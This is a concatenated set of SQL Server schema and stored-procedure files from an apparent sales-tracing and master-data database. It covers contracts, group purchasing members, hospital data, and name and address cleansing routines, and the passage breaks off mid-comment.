CREATE PROCEDURE [CNT].[spGET_CONTRACT_DETAILS_BY_NUMBER] --'CNT6030'
@name varchar(7)
AS
BEGIN
SET NOCOUNT ON;
Select ctr.CONTRACT_ID_PK as CntId,
ctr.REC_EFF_DT as RecEffDate,
ctr.REC_EXP_DT as RecExpDate,
ctr.REC_STAT_CD as RecStatCd,
ctr.CNT_NR as CntNr,
ctr.CNT_EFF_DT as CntEffDate,
ctr.CNT_EXP_DT as CntExpDate,
ctr.CNT_TYP_CD as CNT_TYP_CD,
ctr.RENEW_IN ,
ctr.BUYER_GRP_CNT_NR,
ctr.CNT_DESC,
ctr.BUYE_GRP_CMPNY_ID,
C.CMPNY_NM
from [CNT_DEV].[CONTRACT] ctr
JOIN CMPNY.COMPANY C ON C.CMPNY_ID = ctr.BUYE_GRP_CMPNY_ID
AND ctr.REC_STAT_CD = 'A'
Where ctr.CNT_NR = @name
END
<file_sep>/PDI_SALESTRACING_DEV/CMPNY/Tables/COMPANY_SUB_SEGMENT.sql
CREATE TABLE [CMPNY].[COMPANY_SUB_SEGMENT] (
[CMPNY_SUB_SGMNT_ID] SMALLINT IDENTITY (1, 1) NOT NULL,
[CMPNY_SGMNT_ID] SMALLINT NOT NULL,
[CMPNY_SUB_SGMNT_NM] VARCHAR (100) NOT NULL,
[CMPNY_SUB_SGMNT_DESC] VARCHAR (100) NULL,
[REC_EFF_DT] DATE NULL,
[REC_EXP_DT] DATE NULL,
[REC_STAT_IN] CHAR (1) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/PCM/Tables/PCM_GROUP.sql
CREATE TABLE [PCM].[PCM_GROUP] (
[PDI_GRP_ID] INT NOT NULL,
[DHC_ID] INT NULL,
[GRP_SHRT_NM] NVARCHAR (255) NULL,
[GRP_LONG_NM] NVARCHAR (255) NULL,
[Alias] NVARCHAR (255) NULL,
[HIN] NVARCHAR (255) NULL,
[Address1] NVARCHAR (255) NULL,
[City] NVARCHAR (255) NULL,
[State] NVARCHAR (255) NULL,
[Zip] VARCHAR (10) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PRC_AUTH_PHASE_2.sql
CREATE TABLE [STAGE].[PRC_AUTH_PHASE_2] (
[PRC_AUTH_ID] INT IDENTITY (1, 1) NOT NULL,
[GPO_ID] VARCHAR (50) NULL,
[GPO_MMBR_ID] VARCHAR (50) NULL,
[EU_ID] VARCHAR (50) NULL,
[PDI_CNT_NR] VARCHAR (50) NULL,
[GPO_CNT_NR] VARCHAR (50) NULL,
[TIER_NR] SMALLINT NULL,
[ACTVN_DT] DATE NULL,
[PRIM_DIST_ID] VARCHAR (50) NULL,
[LAST_MOD_DT] DATETIME NULL,
[SENT_TO_EDI] BIT NULL,
[TRANSFER_STAT] CHAR (1) NULL,
CONSTRAINT [PK_PRC_AUTH] PRIMARY KEY CLUSTERED ([PRC_AUTH_ID] ASC) WITH (FILLFACTOR = 100)
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGET_COMPANY_SALES_DETAILS.sql
CREATE PROCEDURE CNT.spGET_COMPANY_SALES_DETAILS
@cmpnyId int
AS
BEGIN
SET NOCOUNT ON;
SELECT [CMPNY_ID]
,[Sani Surface] as SANI_SURFACE
,[Prevantics]
,[Specialty]
,[Sani Hands] AS SANI_HANDS
,[Iodine]
,[Baby Wipes] AS BABY_WIPES
,[Hygea]
,[Adult Wipes] as ADULT_WIPES
,[Compliance Accessories] as Comp_Acc
,[Profend]
,[All Other] AS OTHER
,CONVERT(varchar, CAST( ROUND([TOTAL SALES PRIOR YEAR],0) AS money), 1) AS SALES_AMT
FROM [CMPNY].[CMPNY_SALES]
WHERE [CMPNY_ID] =@cmpnyId
END<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spGPO_MMBR_LAUNDRY.sql
CREATE PROCEDURE [STAGE].[spGPO_MMBR_LAUNDRY]
WITH EXEC AS CALLER
AS
BEGIN
--- Fix the GPO name first
UPDATE STAGE.GPO_MEMBER
SET GPO_NM = 'The Resource Group'
WHERE GPO_NM = 'Ascensioin';
UPDATE G
SET GPO_CMPNY_ID = C.CMPNY_ID
FROM STAGE.GPO_MEMBER G
JOIN CMPNY.COMPANY C ON G.GPO_NM = C.CMPNY_NM
WHERE CMPNY_SGMNT_ID = 8
AND GPO_CMPNY_ID IS NULL;
--- ADDRESS CLEAN --
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR;
INSERT INTO MDM_STAGE.TEMP_ADDR ( SRC_ID, ADDR_1, ADDR_2)
SELECT DISTINCT PDI_GPO_MMBR_ID, MMBR_ADDR_1, MMBR_ADDR_2
FROM STAGE.GPO_MEMBER ;
EXEC [STAGE].[spADDR_LAUNDRY];
TRUNCATE TABLE MDM_STAGE.GPO_MMBR_ADDR_PARTS;
INSERT INTO MDM_STAGE.GPO_MMBR_ADDR_PARTS (
SRC_ID, ST_NR, ST_NM, ST_TYP, ST_DIR, ST_NR_2, BLDG_NR, FL_NR, STE_NR, DIR_1, ADDR_1, ADDR_2 )
SELECT
SRC_ID, ST_NR, ST_NM, ST_TYP, ST_DIR, ST_NR_2, BLDG_NR, FL_NR, STE_NR, DIR_1, ADDR_1, ADDR_2
FROM MDM_STAGE.TEMP_ADDR_PARTS
;
UPDATE C
SET G.UPD_ADDR1 = A.ADDR_1, G.UPD_ADDR2 = A.ADDR_2
FROM STAGE.GPO_MEMBER G
JOIN MDM_STAGE.TEMP_ADDR_PARTS A ON G.PDI_GPO_MMBR_ID = A.SRC_ID;
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR_PARTS;
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR;
UPDATE C SET
G.CMPNY_CITY = Z.City
from STAGE.GPO_MEMBER G
JOIN REF.ZIP_CODE Z ON G.MMBR_ZIP = Z.Zipcode
WHERE Z.LocationType = 'PRIMARY'
AND Z.City <> G.MMBR_CITY ;
END;<file_sep>/PDI_SALESTRACING_DEV/PDI_MDM/Tables/PDI_ACTN_CD.sql
CREATE TABLE [PDI_MDM].[PDI_ACTN_CD] (
[PDI_ACTN_CD_ID_PK] INT IDENTITY (1, 1) NOT NULL,
[PDI_ACTN_CD] VARCHAR (8) NULL,
[PDI_ACTN] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spDHC_NAME_LAUNDRY.sql
CREATE PROCEDURE [STAGE].[spDHC_NAME_LAUNDRY]
WITH EXEC AS CALLER
AS
BEGIN
TRUNCATE TABLE MDM_STAGE.TEMP_NM_LAUNDRY;
INSERT INTO MDM_STAGE.TEMP_NM_LAUNDRY ( SRC_ID, ORIG_NM )
SELECT DHC_CO_ID, DHC_CO_NM_1 FROM STAGE.DHC_COMPANY;
UPDATE MDM_STAGE.TEMP_NM_LAUNDRY
SET
UPD_NM = CASE
WHEN CHARINDEX('(aka', ORIG_NM ) > 0 THEN
LEFT(ORIG_NM ,CHARINDEX('(aka', ORIG_NM )-2)
WHEN CHARINDEX('(fka', ORIG_NM ) > 0 THEN
LEFT(ORIG_NM ,CHARINDEX('(fka', ORIG_NM )-2)
ELSE ORIG_NM END,
ALT_NM = CASE
WHEN CHARINDEX('(aka', ORIG_NM ) > 0 THEN
SUBSTRING(ORIG_NM ,CHARINDEX('(aka', ORIG_NM )+5,LEN(ORIG_NM )-CHARINDEX('(aka', ORIG_NM )-5)
WHEN CHARINDEX('(fka', ORIG_NM ) > 0 THEN
SUBSTRING(ORIG_NM ,CHARINDEX('(fka', ORIG_NM )+5,LEN(ORIG_NM )-CHARINDEX('(fka', ORIG_NM )-5)
ELSE NULL END,
ALT_NM_TYP = CASE
WHEN CHARINDEX('(aka', ORIG_NM ) > 0 THEN 'AKA'
WHEN CHARINDEX('(fka', ORIG_NM ) > 0 THEN 'FKA'
ELSE NULL END
WHERE (ORIG_NM LIKE '%(aka%' OR ORIG_NM LIKE '%(fka%' );
UPDATE MDM_STAGE.TEMP_NM_LAUNDRY
SET
--DHC_STAT = CASE WHEN CHARINDEX('(Closed', ORIG_NM ) > 0 THEN 'Closed' ELSE NULL END,
UPD_NM = LEFT(ORIG_NM ,CHARINDEX('(', ORIG_NM )-2)
WHERE
(ORIG_NM LIKE '%(closed%' OR
ORIG_NM LIKE '%(Opening%' OR
ORIG_NM LIKE '%(Closing%');
-- This will fix Acquired by, to retain both names
-- UPD_NM
-- ALT_NM
-- ALT_NM_TYP
UPDATE MDM_STAGE.TEMP_NM_LAUNDRY
SET
UPD_NM = LEFT(ORIG_NM,CHARINDEX('(', ORIG_NM)-2),
ALT_NM= SUBSTRING(ORIG_NM,CHARINDEX('Acquired by', ORIG_NM)+11,LEN(ORIG_NM)-CHARINDEX('Acquired by', ORIG_NM)-11) ,
ALT_NM_TYP = 'Acquired'
WHERE
ORIG_NM LIKE '%Acquired by%'
AND UPD_NM IS NULL;
-- This will fix Merged with, to retain both names
UPDATE MDM_STAGE.TEMP_NM_LAUNDRY
SET
UPD_NM = dbo.fnInit(LEFT(ORIG_NM,CHARINDEX('(', ORIG_NM)-2)),
ALT_NM = dbo.fnInit(SUBSTRING(ORIG_NM,CHARINDEX('Merged with', ORIG_NM)+11,LEN(ORIG_NM)-CHARINDEX('Merged with', ORIG_NM)-11) ),
ALT_NM_TYP = 'Merged'
WHERE
ORIG_NM LIKE '%Merged with%'
AND UPD_NM IS NULL;
-- This will get rid of the (Closed - no longer . .
UPDATE MDM_STAGE.TEMP_NM_LAUNDRY
SET
UPD_NM = dbo.fnInit(LEFT(ORIG_NM,CHARINDEX('(', ORIG_NM)-2)),
ALT_NM = 'Closed'
WHERE
CHARINDEX('(Closed', ORIG_NM) > 0
AND UPD_NM IS NULL;
-- cleanse issue ith VA
UPDATE MDM_STAGE.TEMP_NM_LAUNDRY
SET
ALT_NM_TYP = CASE WHEN CHARINDEX('VA ', ORIG_NM) > 0 THEN 'VA Affiliate' ELSE NULL END,
UPD_NM = LEFT(ORIG_NM,CHARINDEX('(', ORIG_NM)-2),
ALT_NM = SUBSTRING(ORIG_NM,CHARINDEX('(', ORIG_NM)+1,LEN(ORIG_NM)-CHARINDEX('(', ORIG_NM)-1)
WHERE ORIG_NM LIKE '%(%'
AND UPD_NM IS NULL;
-- Correct the rest
UPDATE MDM_STAGE.TEMP_NM_LAUNDRY
SET UPD_NM = ORIG_NM
WHERE UPD_NM IS NULL;
-- Take out the LLC, INC from end
UPDATE T
SET UPD_NM = RTRIM(LEFT(UPD_NM , LEN(UPD_NM)-LEN(A.ADDR_VAR)-1))
FROM MDM_STAGE.TEMP_NM_LAUNDRY T
JOIN REF.ADDR_STD A ON A.ADDR_VAR = STAGE.fnLastWord(UPD_NM) AND ADDR_TYP = 'NAME' AND CAT = 'REMOVE' AND REC_ACT_IN = 'Y' ;
-- IF ETL dropped any zero --
-- MOVE IT TO ADDR CLEANSING
/*
UPDATE MDM_STAGE.TEMP_NM_LAUNDRY
SET DHC_CO_ZIP = CASE WHEN LEN(DHC_CO_ZIP)=4 THEN '0'+DHC_CO_ZIP
WHEN LEN(DHC_CO_ZIP)=3 THEN '00'+DHC_CO_ZIP
WHEN LEN(LTRIM(RTRIM(DHC_CO_ZIP)))>5 THEN LEFT(LTRIM(RTRIM(DHC_CO_ZIP)),5)
ELSE DHC_CO_ZIP
END;
---------------------------
--- duplicate companies
---------------------------
-- REMOVE (ST) from names, susch 'Mercy (FL)' to 'Mercy'
UPDATE MDM_STAGE.TEMP_NM_LAUNDRY
SET DHC_CO_NM_1 = dbo.fnRemoveSpace(REPLACE(DHC_CO_NM_1, '('+DHC_CO_ST+')' ,''))
WHERE DHC_CO_NM_1 like '%('+DHC_CO_ST+')%' ;
-- If there is any invalid zip code in the DHC file, raise an issue
UPDATE MDM_STAGE.TEMP_NM_LAUNDRY
SET ISSUE_FLG = NULL;
UPDATE C
SET C.ISSUE_FLG = 'Invalid ZIP'
FROM MDM_STAGE.TEMP_NM_LAUNDRY C
LEFT JOIN REF.ZIP_CODE Z ON C.DHC_CO_ZIP = Z.Zipcode
WHERE Z.Zipcode IS NULL;
*/
END;<file_sep>/PDI_SALESTRACING_DEV/CONT/Tables/TEMP_UPDT_CONT_DT.sql
CREATE TABLE [CONT].[TEMP_UPDT_CONT_DT] (
[CNT_NR] VARCHAR (20) NOT NULL,
[CNT_ORIG_DT_NR] INT NULL,
[CNT_UPDT_DT_NR] INT NULL,
[SRC_REC_LST_MOD_DT] BIGINT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/DIM_GEOGRAPHY.sql
CREATE TABLE [STAGE].[DIM_GEOGRAPHY] (
[ZIPCODE_SHORT] NCHAR (10) NOT NULL,
[ZIPCODE_LONG] NCHAR (10) NULL,
[CITY] VARCHAR (100) NULL,
[STATE_CODE] NCHAR (5) NULL,
[STATE] VARCHAR (50) NULL,
[COUNTRY] VARCHAR (50) NULL,
[TERRITORY_TYPE] NCHAR (3) NULL,
[TERRITORY_ID] INT NULL,
[TERRITORY_NAME] VARCHAR (50) NULL,
[REGION_NAME] VARCHAR (50) NULL,
[COMPANY_ID] NCHAR (2) NULL,
[DIVISION] NCHAR (4) NULL,
[EFF_DATE] DATE NULL,
[EXP_DATE] DATE NULL,
[CURRENT_INDICATOR_Y_N] NCHAR (1) NOT NULL,
[CURRENT TIMESTAMP] VARCHAR (50) DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_Hospital_Beds_Breakdown.sql
CREATE TABLE [STAGE].[PDI_Hospital_Beds_Breakdown] (
[HOSPITAL_ID] INT NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[BED_TYPE] VARCHAR (MAX) NULL,
[REVENUES] FLOAT (53) NULL,
[INPATIENT_REVENUE] VARCHAR (MAX) NULL,
[OUTPATIENT_REVENUES] FLOAT (53) NULL,
[COSTS] FLOAT (53) NULL,
[SALARIES] FLOAT (53) NULL,
[NUMBER_BEDS] VARCHAR (MAX) NULL,
[MEDICARE_DAYS] VARCHAR (MAX) NULL,
[MEDICAID_DAYS] VARCHAR (MAX) NULL,
[OTHER_DAYS] VARCHAR (MAX) NULL,
[TOTAL_DAYS] VARCHAR (MAX) NULL,
[BED_DAYS_AVAILABLE] VARCHAR (MAX) NULL,
[UTILIZATION_RATE] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/NICEPAK_Keyur.Patel.sql
CREATE USER [NICEPAK\Keyur.Patel] FOR LOGIN [NICEPAK\Keyur.Patel];
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGET_PRODUCT_BY_ID.sql
CREATE PROCEDURE CNT.spGET_PRODUCT_BY_ID
@name varchar(7)
AS
BEGIN
SET NOCOUNT ON;
select top 10 [PROD_ID] from [PROD].[PRODUCT] where prod_id like + @name +'%'
END
<file_sep>/PDI_SALESTRACING_DEV/PDI_MDM/Tables/CNT_ITM.sql
CREATE TABLE [PDI_MDM].[CNT_ITM] (
[CNT_ITM_PK] INT IDENTITY (1, 1) NOT NULL,
[REC_EFF_DT] DATE NOT NULL,
[REC_EXP_DT] DATE NOT NULL,
[REC_STAT_CD] CHAR (1) NOT NULL,
[Contract_ID_FK] INT NULL,
[CNT_NR] VARCHAR (20) NOT NULL,
[ITM_ID_FK] INT NULL,
[ITM_NR] VARCHAR (20) NOT NULL,
[ITM_EFF_DT] DATE NOT NULL,
[ITM_EXP_DT] DATE NOT NULL,
[ITM_EFF_DT_NR] INT NOT NULL,
[ITM_EXP_DT_NR] INT NOT NULL,
[ITM_UOM] CHAR (2) NOT NULL,
[ITM_PRC] DECIMAL (18, 2) NOT NULL,
[ITM_STAT_CD] VARCHAR (10) NULL,
[SRCE_REC_MOD_DT_NR] BIGINT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spSAVE_NEW_CONTRACT.sql
-- =============================================
-- Author: <NAME>
-- Create date: 1/14/2019
-- Description: save contract details from new contract page
-- =============================================
CREATE PROCEDURE [CNT].[spSAVE_NEW_CONTRACT]
(@CNT_NR VARCHAR(20), --1
@CNT_EFF_DT DATE, --4
@CNT_EXP_DT DATE, --5
@CNT_TYP_CD VARCHAR(20),
@RENEW_IN CHAR(1),
@REPLCNG_CNT_NR VARCHAR(20),
@BUYER_GRP_CNT_NR VARCHAR(40),
@BUYE_GRP_CMPNY_ID INT,
@TIER_ID INT,
@TIER_DESC VARCHAR(20),
@CNT_DESC [VARCHAR](MAX),
@USER_ID INT,
@duplicarion CHAR(1) OUTPUT
)
AS
BEGIN
SET NOCOUNT ON;
SET @duplicarion = 'N';
IF NOT EXISTS
(
SELECT *
FROM [CNT_DEV].[CONTRACT]
WHERE cnt_nr = @CNT_NR
)
BEGIN
INSERT INTO [CNT_DEV].[CONTRACT]
(CNT_NR,
CNT_EFF_DT,
CNT_EXP_DT,
CNT_TYP_CD,
CNT_STAT_CD,
RENEW_IN,
RENEW_CNT_NR,
BUYER_GRP_CNT_NR,
BUYE_GRP_CMPNY_ID,
TIER_ID,
TIER_DESC,
CNT_DESC,
CNT_LIFECYCLE_CD,
REC_EFF_DT,
REC_EXP_DT,
REC_STAT_CD,
USER_ID
)
VALUES
(@CNT_NR,
@CNT_EFF_DT,
@CNT_EXP_DT,
@CNT_TYP_CD,
'P',
@RENEW_IN,
@REPLCNG_CNT_NR,
@BUYER_GRP_CNT_NR,
@BUYE_GRP_CMPNY_ID,
@TIER_ID,
@TIER_DESC,
@CNT_DESC,
'GI',
CONVERT(DATE, GETDATE()),
CONVERT(DATE, '9999-12-31'),
'A',
@USER_ID
);
INSERT INTO CNT_DEV.CNT_EB
(
CNT_NR,
CMPNY_ID,
REC_EFF_DT,
REC_EXP_DT,
REC_STAT_CD
)
SELECT @CNT_NR, CMPNY_ID,
CONVERT(DATE, GETDATE()) AS REC_EFF_DT,
CONVERT(DATE, '9999-12-31') AS PROD_EXP_DT_NR,
'A'
FROM CMPNY.COMPANY
WHERE IDN_CMPNY_ID = @BUYE_GRP_CMPNY_ID
UNION ALL
SELECT @CNT_NR, c.CMPNY_ID,
CONVERT(DATE, GETDATE()) AS REC_EFF_DT,
CONVERT(DATE, '9999-12-31') AS PROD_EXP_DT_NR,
'A'
FROM CMPNY.COMPANY C
JOIN
(
SELECT DISTINCT
CMPNY_ID
FROM CMPNY.COMPANY
WHERE IDN_CMPNY_ID = @BUYE_GRP_CMPNY_ID
) I ON C.CMPNY_PRNT_ID = I.CMPNY_ID;
END;
ELSE
SET @duplicarion = 'Y';
SELECT @duplicarion;
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/DHC_COMPANY_AFFLT.sql
CREATE TABLE [STAGE].[DHC_COMPANY_AFFLT] (
[DHC_CO_ID] INT NOT NULL,
[DHC_CO_NM_1] VARCHAR (255) NULL,
[DHC_CO_NM_2] VARCHAR (255) NULL,
[DHC_CO_NM_2_TYP] VARCHAR (20) NULL,
[DHC_CO_ADDR_1] VARCHAR (255) NULL,
[DHC_CO_ADDR_2] VARCHAR (255) NULL,
[DHC_CO_CITY] VARCHAR (255) NULL,
[UPDT_CO_CITY] VARCHAR (50) NULL,
[DHC_CO_ST] CHAR (2) NULL,
[DHC_CO_ZIP] VARCHAR (10) NULL,
[DHC_CO_CNTRY] CHAR (3) NULL,
[DHC_CO_CAT_CD] VARCHAR (100) NULL,
[DHC_CO_SUB_CAT] VARCHAR (255) NULL,
[DHC_NTWRK_ID] INT NULL,
[DHC_NTWRK_PARENT_ID] INT NULL,
[NPI_NR] VARCHAR (50) NULL,
[ADDR_IN] CHAR (1) NULL,
[CURRENT TIMESTAMP] DATETIME NULL,
[ORIG_CITY] VARCHAR (100) NULL,
[ORIG_ST] CHAR (2) NULL,
[ORIG_ZIP] VARCHAR (10) NULL,
[MATCH_MTHD] VARCHAR (10) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/dbsvc.sql
CREATE USER [dbsvc] FOR LOGIN [dbsvc];
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/DIM_GROUP.sql
CREATE TABLE [STAGE].[DIM_GROUP] (
[GROUP_KEY] INT NOT NULL,
[GROUP_ID] VARCHAR (50) NOT NULL,
[GROUP_NAME] VARCHAR (70) NOT NULL,
[GROUP_TYPE] NCHAR (3) NOT NULL,
[GPO_AFFILIATION_ID] VARCHAR (20) NULL,
[GPO_AFFILIATION_NAME] VARCHAR (50) NULL,
[PARENT_GROUP_ID] VARCHAR (50) NULL,
[PARENT_GROUP_NAME] VARCHAR (70) NULL,
[MAJOR_ACCOUNT_INDICATOR_YN] CHAR (1) NULL,
[MARKET_CLASS] VARCHAR (50) NULL,
[ADDRESS_1] VARCHAR (50) NULL,
[ADDRESS_2] VARCHAR (50) NULL,
[CITY] VARCHAR (50) NULL,
[STATE] NCHAR (2) NULL,
[ZIP] VARCHAR (15) NULL,
[COUNTRY] VARCHAR (15) NULL,
[CURRENT_INDICATOR] CHAR (1) NULL,
[EFF_DATE] DATE NOT NULL,
[EXP_DATE] DATE NOT NULL,
[UPDATE_BY] VARCHAR (20) NOT NULL,
[REPORT_GROUP] VARCHAR (25) NULL,
[ETL_AUDIT_KEY] INT NOT NULL,
[CURRENT TIMESTAMP] DATETIME NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/SNDBX/Tables/contract2.sql
CREATE TABLE [SNDBX].[contract2] (
[CONTRACT_ID_PK] INT IDENTITY (1, 1) NOT NULL,
[REC_EFF_DT] DATE NOT NULL,
[REC_EXP_DT] DATE NOT NULL,
[REC_STAT_CD] CHAR (1) NOT NULL,
[CNT_NR] VARCHAR (20) NOT NULL,
[CNT_EFF_DT] DATE NOT NULL,
[CNT_EXP_DT] DATE NOT NULL,
[CNT_EFF_DT_NR] INT NULL,
[CNT_EXP_DT_NR] INT NULL,
[CNT_APPRV_DT] DATE NULL,
[CNT_TYP_CD] VARCHAR (20) NULL,
[CNT_STAT_CD] VARCHAR (20) NOT NULL,
[RENEW_IN] CHAR (1) NULL,
[RENEW_CNT_NR] VARCHAR (20) NULL,
[BUYER_GRP_CNT_NR] VARCHAR (40) NULL,
[BUYER_GRP_ID] INT NULL,
[CNT_TIER_LVL] VARCHAR (20) NULL,
[CNT_TIER_LVL_NR] INT NULL,
[CNT_VALID_IN] CHAR (1) NULL,
[BUYER_GRP_NM] VARCHAR (200) NULL,
[CNT_DESC] VARCHAR (MAX) NULL,
[SRC_REC_LST_MOD_DT] BIGINT NULL,
[CNT_UPD_TYP] VARCHAR (32) NULL,
[RPLCD_CNT_NR] VARCHAR (20) NULL,
[ORIG_EXP_DTE] INT NULL,
[CURRENT TIMESTAMP] DATETIME NULL,
[BUYER_GRP_ADDR_1] VARCHAR (200) NULL,
[BUYER_GRP_CITY] VARCHAR (100) NULL,
[BUYER_GRP_ST] VARCHAR (20) NULL,
[BUYER_GRP_ZIP] VARCHAR (20) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spTRC_GET_ERR_EXC.sql
CREATE PROCEDURE [TRC].[spTRC_GET_ERR_EXC] @vSales_Period VARCHAR(10) = NULL,
@vDIST_ID VARCHAR(20) = NULL,
@contractId VARCHAR(20) = NULL,
@buyerGrp VARCHAR(50) = NULL
AS
BEGIN
SELECT X.TRC_CNT_ID AS UPD_CNT_ID,
X.PROD_ID AS UPD_PROD_ID,
C.CNT_EXP_DT,
C.BUYER_GRP_ID,
C.BUYER_GRP_NM AS GROUP_NAME,
CASE
WHEN X.DAYS_EXPIRED BETWEEN 31 AND 60
THEN '30-60 DAYS'
WHEN X.DAYS_EXPIRED BETWEEN 61 AND 90
THEN '60-90 DAYS'
WHEN X.DAYS_EXPIRED > 90
THEN '90 DAYS or more'
END AS EXP_DAYS,
X.UPD_CNT_ID AS Replacing_With,
CASE
WHEN X.RECON_ACTN = 'R'
THEN 'REPLACE'
WHEN X.RECON_ACTN = 'X'
THEN 'REJECT'
WHEN X.RECON_ACTN = 'A'
THEN 'PASS'
END AS [ACTION]
FROM STAGE.TRC_CNT_CORR_XREF X
JOIN CNT.[CONTRACT] C ON X.TRC_CNT_ID = C.CNT_NR
AND C.REC_STAT_CD = 'A'
WHERE RECON_STAT_CD = 'P'
AND RECON_TYP = 'EXC'
AND C.BUYER_GRP_NM = ISNULL(@buyerGrp, C.BUYER_GRP_NM)
AND X.TRC_CNT_ID = ISNULL(@contractId, X.TRC_CNT_ID)
ORDER BY X.DAYS_EXPIRED DESC;
END;<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGetTiersByBuyerGrpid.sql
-- =============================================
-- Author: <Author,,Name>
-- Create date: <Create Date,,>
-- Description: <Description,,>
-- =============================================
CREATE PROCEDURE [CNT].[spGetTiersByBuyerGrpid]
@buyerGroupId INT
AS
BEGIN
SELECT DISTINCT
C.CNT_NR + ' - ' + C.CNT_TIER_LVL AS TierId,
C.CNT_DESC AS Description
FROM [CNT].[CONTRACT] C
WHERE C.REC_STAT_CD = 'A'
AND C.BUYER_GRP_ID = @buyerGroupId
and c.CNT_TIER_LVL != '1'
END;<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spINSERT_CONT_PRODID.sql
-- =============================================
-- Author:<NAME>
-- Create date: <Create Date,,>
-- Description: <Description,,>
-- =============================================
CREATE PROCEDURE CNT.spINSERT_CONT_PRODID
(@CNT_NR [varchar](20),
@PROD_EFF_DT date,
@PROD_EXP_DT date,
@prod_prc [decimal](18, 2),
@prod_ID [varchar](20)
)
AS
BEGIN
insert into [CNT].[CNT_PROD](
[PROD_ID],
[PROD_EFF_DT],
[PROD_EXP_DT],
PROD_EFF_DT_NR,
PROD_EXP_DT_NR,
[PROD_PRC],
[PROD_STAT_CD],
[CNT_NR],
REC_EFF_DT, REC_EXP_DT, REC_STAT_CD, PROD_UOM
)
select
@prod_ID,
@PROD_EFF_DT,
@PROD_EXP_DT,
YEAR(@PROD_EFF_DT)*10000+MONTH(@PROD_EFF_DT)*100+DAY(@PROD_EFF_DT) AS PROD_EFF_DT_NR,
YEAR(@PROD_EXP_DT)*10000+MONTH(@PROD_EXP_DT)*100+DAY(@PROD_EXP_DT) AS PROD_EXP_DT_NR,
@prod_prc,
'P',
@CNT_NR,
convert(DATE,GETDATE()) AS REC_EFF_DT,
convert(DATE,'9999-12-31') AS PROD_EXP_DT_NR,
'A','CS'
END<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/SLS_TRC_LOAD_DTL_STAGE.sql
CREATE TABLE [STAGE].[SLS_TRC_LOAD_DTL_STAGE] (
[LOAD_ID] INT IDENTITY (301, 1) NOT NULL,
[DIST_ID] VARCHAR (15) NULL,
[DIST_TRC_NM] VARCHAR (15) NULL,
[SALES_PERIOD] VARCHAR (10) NULL,
[RECVD_DTE] INT NULL,
[LOAD_STAT] VARCHAR (20) NULL,
[REC_CNT] INT NULL,
[SRC_FILE_TYP] CHAR (3) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/VT_TEST/Tables/NOT_IN_DDS.sql
CREATE TABLE [VT_TEST].[NOT_IN_DDS] (
[COACCTID] VARCHAR (20) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Functions/fnGreaterOf.sql
CREATE FUNCTION STAGE.fnGreaterOf
(@val1 float, @val2 float)
RETURNS float
AS
BEGIN
if @val1 > @val2
return @val1
return isnull(@val2,@val1)
END<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spADDR_LAUNDRY_v7.sql
CREATE PROCEDURE [STAGE].[spADDR_LAUNDRY_v7]
WITH EXEC AS CALLER
AS
BEGIN
------------- START ----------
/*
-------------- STA_CD ---------------------
STATS_CD = 0, pending or not touched
STATS_CD = 1, okay, quality passed
STAT_CD = -1, NULL
STAT_CD = 9 -- being worked on, in process
STAT_CD = -9 -- INVALID
--------------------------------------------
*/
-- - First take out spaacial charcater, extra spaces, keep #, because that could be Unit
UPDATE MDM_STAGE.TEMP_ADDR SET WB_1 = UPPER(STAGE.fnRemoveSpace_SpChar(ADDR_1))
WHERE ADDR_1 IS NOT NULL;
UPDATE MDM_STAGE.TEMP_ADDR SET WB_2 = UPPER(STAGE.fnRemoveSpace_SpChar(ADDR_2))
WHERE ADDR_2 IS NOT NULL;
UPDATE MDM_STAGE.TEMP_ADDR SET WB_1 = WB_2, WB_2 =NULL
WHERE WB_1 IS NULL AND WB_2 IS NOT NULL;
UPDATE MDM_STAGE.TEMP_ADDR SET
STAT_1_CD = CASE WHEN WB_1 IS NULL THEN -1 ELSE 0 END,
STAT_2_CD = CASE WHEN WB_2 IS NULL THEN -1 ELSE 0 END;
-- 2 min 13 sec
---------------------------- S T A G E 1 ------------------------------------
-- TAKE OUT DIRECTION to run the same exercise
UPDATE C SET
DIR_2 = ltrim(rtrim(A.ADDR_STD)),
WB_1 = STAGE.fnGet_FirstPart(WB_1,LEN(WB_1)-LEN(A.ADDR_VAR))
FROM MDM_STAGE.TEMP_ADDR C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(WB_1) = A.ADDR_VAR
AND A.CAT = 'DIRECTION'
OPTION (MERGE JOIN);
-- 25 sec - 206K
-- STEP - 5
-- If first word is numeric, and last word is a roadway, mark it as good record stat_cd = 100
UPDATE C
SET STAT_1_CD = 1
FROM MDM_STAGE.TEMP_ADDR C
JOIN ( SELECT DISTINCT ADDR_STD FROM REF.ADDR_STD WHERE CAT IN ('Roadway','Location')) A
ON STAGE.fnLastWord(WB_1) = A.ADDR_STD
WHERE
ISNUMERIC(STAGE.fnFirstWord(WB_1)) = 1
OPTION (MERGE JOIN) ;
-- 1 MIN 15 SEC sec -- 2.6 million
-- get rid of the following - did not save any time
/*
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR_PARTS;
